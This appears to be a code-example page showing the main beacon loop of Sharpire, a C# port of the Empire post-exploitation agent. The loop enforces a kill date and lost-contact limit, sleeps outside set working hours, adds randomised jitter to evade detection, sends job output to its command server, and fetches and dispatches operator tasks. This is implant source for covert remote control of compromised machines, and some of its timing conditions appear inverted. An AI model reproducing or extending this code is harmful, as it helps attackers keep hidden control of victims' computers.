コード例 #1
0
ファイル: Empire.Agent.cs プロジェクト: vaginessa/Sharpire
        ////////////////////////////////////////////////////////////////////////////////
        // Main Loop
        ////////////////////////////////////////////////////////////////////////////////
        private void run()
        {
            ////////////////////////////////////////////////////////////////////////////////
            if (killDate.CompareTo(DateTime.Now) > 0 || coms.missedCheckins > coms.lostLimit)
            {
                jobTracking.checkAgentJobs(ref packets, ref coms);

                if (packets.Length > 0)
                {
                    coms.sendMessage(packets);
                }

                String message = "";
                if (killDate.CompareTo(DateTime.Now) > 0)
                {
                    message = "[!] Agent " + sessionId + " exiting: past killdate";
                }
                else
                {
                    message = "[!] Agent " + sessionId + " exiting: Lost limit reached";
                }

                UInt16 result = 0;
                coms.sendMessage(coms.encodePacket(2, message, result));
                Environment.Exit(1);
            }

            ////////////////////////////////////////////////////////////////////////////////
            Regex regex = new Regex("^[0-9]{1,2}:[0-5][0-9]$");

            if (workingHours != null && workingHours[0] != null && workingHours[1] != null)
            {
                if (regex.Match(workingHours[0]).Success&& regex.Match(workingHours[1]).Success)
                {
                    DateTime now   = DateTime.Now;
                    DateTime start = DateTime.Parse(workingHours[0]);
                    DateTime end   = DateTime.Parse(workingHours[1]);
                    if ((end.Hour - start.Hour) < 0)
                    {
                        start = start.AddDays(-1);
                    }
                    if (now.CompareTo(start) > 0 && now.CompareTo(end) < 0)
                    {
                        TimeSpan sleep = start.Subtract(now);
                        if (sleep.CompareTo(0) < 0)
                        {
                            sleep = (start.AddDays(1) - now);
                        }
                        Thread.Sleep((Int32)sleep.TotalMilliseconds);
                    }
                }
            }

            ////////////////////////////////////////////////////////////////////////////////
            if (coms.agentDelay != 0)
            {
                Int32 sleepMin = (coms.agentJitter - 1) * coms.agentDelay;
                Int32 sleepMax = (coms.agentJitter + 1) * coms.agentDelay;

                if (sleepMin == sleepMax)
                {
                    coms.sleepTime = sleepMin;
                }
                else
                {
                    Random random = new Random();
                    coms.sleepTime = random.Next(sleepMin, sleepMax);
                }

                Thread.Sleep(coms.sleepTime * 1000);
            }

            ////////////////////////////////////////////////////////////////////////////////
            byte[] jobResults = jobTracking.getAgentJobsOutput(ref coms);
            if (jobResults.Length > 0)
            {
                coms.sendMessage(jobResults);
            }

            ////////////////////////////////////////////////////////////////////////////////
            byte[] taskData = coms.getTask();
            if (taskData.Length > 0)
            {
                coms.missedCheckins = 0;
                if (Encoding.UTF8.GetString(taskData) != defaultResponse)
                {
                    coms.decodeRoutingPacket(taskData, ref jobTracking);
                }
            }
            GC.Collect();
        }